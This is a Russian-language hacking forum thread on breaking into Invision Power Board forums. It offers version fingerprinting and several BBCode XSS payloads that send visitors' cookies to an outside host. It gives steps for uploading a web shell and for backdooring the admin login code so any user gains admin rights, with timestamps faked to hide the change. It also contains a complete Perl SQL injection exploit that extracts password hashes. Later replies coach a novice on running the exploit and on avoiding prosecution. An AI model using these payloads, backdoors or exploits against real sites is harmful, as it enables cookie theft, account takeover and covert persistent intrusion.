[Взлом] Обзор уязвимостей IPB

Тема в разделе "Статьи и Co", создана пользователем fantom-hm, 28 июн 2007.

Статус темы:
Закрыта.
  1. fantom-hm

    fantom-hm Писатель

    Заблокирован
    Регистр.:
    10 ноя 2006
    Сообщения:
    20
    Симпатии:
    16
    Хочется сразу сказать что почти все в этой "статье" принадлежит k1b0rg'у , но из-за флуда некоторых товарищей тема была пропущена мною, и вот она возраждается благодаря челу под ником Nova,который немного подправил эту "статью".Ну и конечно qBiN подредактировав,раскрасив,дав несколько советов пустил в печать :)
    Определение версии форума
    Версия Invision Power Board 1.3
    Определяеться присутствием папок и файлов:
    /html/emoticons/
    /fonts/
    /Skin/
    /ssi_templates/
    присутсвтуют файлы
    ssi.php
    show.php
    css.php
    conf_mime_types.php
    Версия Invision Power Board 2.0.*
    Определяеться присутствием папок и файлов:
    /sources/help.php
    /sources/usercp.php
    /sources/trial_functions.php
    /sources/topics.php
    /sources/taskloader.php
    реагирует на 403 "доступ запрещен" например к папке
    /ips_kernel/ как 403: Invision Power Board -> Forbidden

    Версия Invision Power Board 2.1.*

    Определяеться присутствием папок и файлов:
    /ips_kernel/PEAR/
    присутствует файлы:
    info.php
    реагирует на 403 "доступ запрещен" например к папке
    /ips_kernel/ как 403: IBForums-> Forbidden

    Exploits
    Версия Invision Power Board 1.3.1 Перейти по ссылке
    Версия Invision Power Board 1.* , 2.* (<2.0.4) Перейти по ссылке
    Версия Invision Power Board 2.0.0 - 2.0.2 Перейти по ссылке
    Версия Invision Power Board Army System Mod 2.1 Перейти по ссылке
    Версия Invision Power Board 2.1.4 (Dos) Перейти по ссылке
    Версия Invision Power Board <=2.1.5 (Remote code execution)
    Перейти по ссылке


    XSS Используем указаные коды без знака * он присутствует чтоб данные коды не сработали на этом форуме.

    Код:
    [ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

    Код:

    [HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]

    Код:

    [EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]
    Код:

    [po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

    Код:

    [em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

    Код:

    [COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

    Код:

    [еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

    Код:

    [EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
    Код:

    [HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/URL][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`



    Заливаем шелл

    Invision Power Board 1.3
    "Administration(Администрирование)"->"Manage Emoticons(Управление смайлами)"->"Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)"->"Browse(Обзор)"
    Обычно шелл грузица в одну из этих папок,в зависимости от версии,если конечно прав хватает :)
    1.3 /forum/html/emoticons/shell.php
    2.* /forum/style_emoticons/default/shell.php
    где shell.php имя вашего загруженного шелла.

    Invision Power Board 2.0.*
    Троянизация форума

    А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
    ищем такие строки (по дефолту 382 строчка)

    Invision Power Board 1.3

    Код:

    if ($GROUP['g_access_cp'] != 1)
    {
    do_login("You do not have access to the administrative CP");
    }
    else
    {
    $session_validated = 1;
    $this_session = $row;
    }


    и заменяем на

    Код:

    if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
    {

    $session_validated = 1;
    $this_session = $row;
    }


    и ищим строчки (по дефолту 442 строчка)

    Код:

    if ($GROUP['g_access_cp'] != 1)
    {
    do_login("You do not have access to the administrative CP");
    }
    else
    {

    //----------------------------------
    // All is good, rejoice as we set a
    // session for this user
    //----------------------------------

    $sess_id = md5( uniqid( microtime() ) );


    заменяем соотвественно на

    Код:

    if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)

    {

    //----------------------------------
    // All is good, rejoice as we set a
    // session for this user
    //----------------------------------

    $sess_id = md5( uniqid( microtime() ) );


    потом редактируем файл /sources/Admin/ad_mysql.php и удаляем строки

    Код:

    if ($MEMBER['mgroup'] != $INFO['admin_group'])
    {
    $ADMIN->error("Sorry, these functions are for the root admin group only");
    }


    Invision Power Board 2.0.*

    /sources/action_admin/login.php
    по дефолту 147 строчка
    удаляем строки
    Код:

    if ($mem['g_access_cp'] != 1)
    {
    $this->login_form("You do not have access to the administrative CP");
    }
    else
    {

    и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
    sql.php по дефолту 46 строка:
    удаляем
    Код:

    if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
    {
    $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
    }

    потом идем сюда
    /sources/lib/admin_functions.php (строка 262)
    изменяем строку:
    Код:

    $this->ipsclass->admin_session['_session_validated'] = 0;

    меняем на
    Код:

    $this->ipsclass->admin_session['_session_validated'] = 1;

    потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
    Код:
    if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
    {
    $this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
    }
    [CODE]
    А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
    do_login("You do not have access to the administrative CP");
    }
    то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
    touch -t 200310240921
    где 2003 год 10 месяц 24 число 09:21 часов
    советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.
     
    Юрец и Кристя нравится это.
  2. Mitos

    Mitos *Nulled lady*

    Регистр.:
    24 окт 2007
    Сообщения:
    264
    Симпатии:
    42
  3. Юрец

    Юрец

    Регистр.:
    20 авг 2006
    Сообщения:
    152
    Симпатии:
    21
    Invision Power Board <2.0.4 SQL injection
    Код:
    #!/usr/bin/perl
    
    ## Invision Power Board SQL injection exploit by RST/GHC
    ## vulnerable forum versions : 1.* , 2.* (<2.0.4)
    ## tested on version 1.3 Final and version 2.0.2 
    ## * work on all mysql versions
    ## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
    ## (c)oded by 1dt.w0lf
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## screen:
    ## ~~~~~~~
    ## r57ipb2.pl blah.com /ipb13/ 1 0
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb13/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 0 - IPB 1.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ## r57ipb2.pl blah.com  /ipb202/ 1 1
    ## [~]    SERVER : blah.com 
    ## [~]      PATH : /ipb202/
    ## [~] MEMBER ID : 1
    ## [~]    TARGET : 1 - IPB 2.*
    ## [~] SEARCHING PASSWORD ... [ DONE ]
    ##
    ## MEMBER ID : 1
    ## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Greets: James Bercegay of the GulfTech Security Research Team 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    ## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru 
    ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    use IO::Socket;
    
    if (@ARGV < 4) { &usage; }
    
    $server    = $ARGV[0];
    $path      = $ARGV[1];
    $member_id = $ARGV[2];
    $target    = $ARGV[3];
    
    $pass = ($target)?('member_login_key'):('password');
    
    $server =~ s!(http:\/\/)!!;
    
    $request  = 'http://';
    $request .= $server;
    $request .= $path;
    
    $s_num = 1;
    $|++;
    $n = 0;
    
    print "[~]    SERVER : $server\r\n";
    print "[~]      PATH : $path\r\n";
    print "[~] MEMBER ID : $member_id\r\n";
    print "[~]    TARGET : $target";
    print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
    print "\r\n";
    print "[~] SEARCHING PASSWORD ... [|]";
    
    ($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    
    while(1)
    {
    if(&found(47,58)==0) { &found(96,122); } 
    $char = $i;
    if ($char=="0") 
     { 
     if(length($allchar) > 0){
     print qq{\b\b DONE ] 
     
     MEMBER ID : $member_id
     };
     print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
     print $allchar."\r\n";
     }
     else
     {
     print "\b\b FAILED ]";
     }
     exit();  
     }
    else 
     {  
      $allchar .= chr(42);
     }
    $s_num++;
    }
    
    sub found($$)
     {
     my $fmin = $_[0];
     my $fmax = $_[1];
     if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
     
     $r = int($fmax - ($fmax-$fmin)/2);
     $check = " BETWEEN $r AND $fmax";
     if ( &check($check) ) { &found($r,$fmax); }
     else { &found($fmin,$r); }
     }
     
    sub crack($$)
     {
     my $cmin = $_[0];
     my $cmax = $_[1];
     $i = $cmin;
     while ($i<$cmax)
      {
      $crcheck = "=$i";
      if ( &check($crcheck) ) { return $i; }
      $i++;
      }
     $i = 0;
     return $i;
     }
     
    sub check($)
     {
     $n++;
     status();
     $ccheck = $_[0];
     $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
     $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75%62%73%74%72%69%6E%67%28"; 
     $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
     $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
     $nmalykh    = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0%E0%F1%21%20";
     $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");
    
     printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
     $path,$server,$cmember_id,$pass_hash1,$cmember_id,$pass_hash2,$pass_hash3,$nmalykh);
     
     while(<$socket>) 
      { 
      if (/Set-Cookie: session_id=0;/) { return 1; }
      } 
    
     return 0;
     }
     
    sub status()
    {
      $status = $n % 5;
      if($status==0){ print "\b\b/]";  }
      if($status==1){ print "\b\b-]";  }
      if($status==2){ print "\b\b\\]"; }
      if($status==3){ print "\b\b|]";  }
    }
    
    sub usage()
     {
     print q(
     Invision Power Board v < 2.0.4 SQL injection exploit
     ----------------------------------------------------
     USAGE:
     ~~~~~~
     r57ipb2.pl [server] [/folder/] [member_id] [target]
     
     [server]    - host where IPB installed
     [/folder/]  - folder where IPB installed
     [member_id] - user id for brute
     
     targets:
              0 - IPB 1.*
              1 - IPB 2.* (Prior To 2.0.4)
     
     e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
     ----------------------------------------------------
     (c)oded by 1dt.w0lf
     RST/GHC , http://rst.void.ru , http://ghc.ru
     );
     exit();
     }
    
     
  4. masternet

    masternet Создатель

    Регистр.:
    29 апр 2008
    Сообщения:
    17
    Симпатии:
    3
    У меня пару вопросов:
    Куда эти эксплойты надо совать?
    А какой из этих эксплойтов нужен для версии Invision Power Board v2.1.7 © 2008 IPS, Inc.?
    И как взломать чтобы не сесть?
     
  5. [iq]

    [iq]

    Регистр.:
    17 июл 2007
    Сообщения:
    201
    Симпатии:
    44
    Для 2.1.7 нет публичных эксплоитов.
    Использовать:скачай ActivePerl(бесплатный) и через командную строку запускай сплоиты с нужными параметрами.
    ЗЫ если есть у кого споит под 2.1.7 прошу поделиться.
     
  6. masternet

    masternet Создатель

    Регистр.:
    29 апр 2008
    Сообщения:
    17
    Симпатии:
    3
    С какими именно параметрами?
    название сайта?
     
  7. [iq]

    [iq]

    Регистр.:
    17 июл 2007
    Сообщения:
    201
    Симпатии:
    44
    Вот эксплоит, который выложил Юрец.
    Его запускать надо с такими входными данными:
    r57ipb2.pl <адрес> <путь до форума> <id нужного юзера версия форума(0 или 1)>
     
    masternet нравится это.
  8. masternet

    masternet Создатель

    Регистр.:
    29 апр 2008
    Сообщения:
    17
    Симпатии:
    3
    а если путь до форума и адрес одни и те же?
    И главный вопрос:
    Как взломать чтобы не сесть?
     
  9. [iq]

    [iq]

    Регистр.:
    17 июл 2007
    Сообщения:
    201
    Симпатии:
    44
    пишешь forum.blabla.ru /
    за взлом форума никуда ты не сядешь), максимум набьют рожу, если ломаешь кого из своих соседей), а так по таким мелочам как просто взлом форума ничего(скорее всего) не будет.
    Но это не значит, что это правильное занятие.
     
    masternet нравится это.
  10. t0wer

    t0wer BlackHerald

    Регистр.:
    24 июн 2008
    Сообщения:
    733
    Симпатии:
    423
    В новых версиях все старые дырки закрыты, но тут вопрос в том: на сколько быстро найдут новую, как быстро ты получишь сырцу для хака найденной уязвимости и в какое время админ получит информацию о баге и закроет найденную дырку.

    >Куда эти эксплойты надо совать?
    Их никуда не надо совать ))) Запускаются с серваков и юзаются (обычно в эксплоите по коду можно понять что и как он использует).

    >Как взломать чтобы не сесть?
    Изучать Законы (можно все, что не запрещено Законом), иметь голову на плечах и не корявые руки. Используй только не во вред себе!

    У паучков хорошие эксплоиты, которые много кто юзает.
    На их офф сайте много интересной информации.
     
Статус темы:
Закрыта.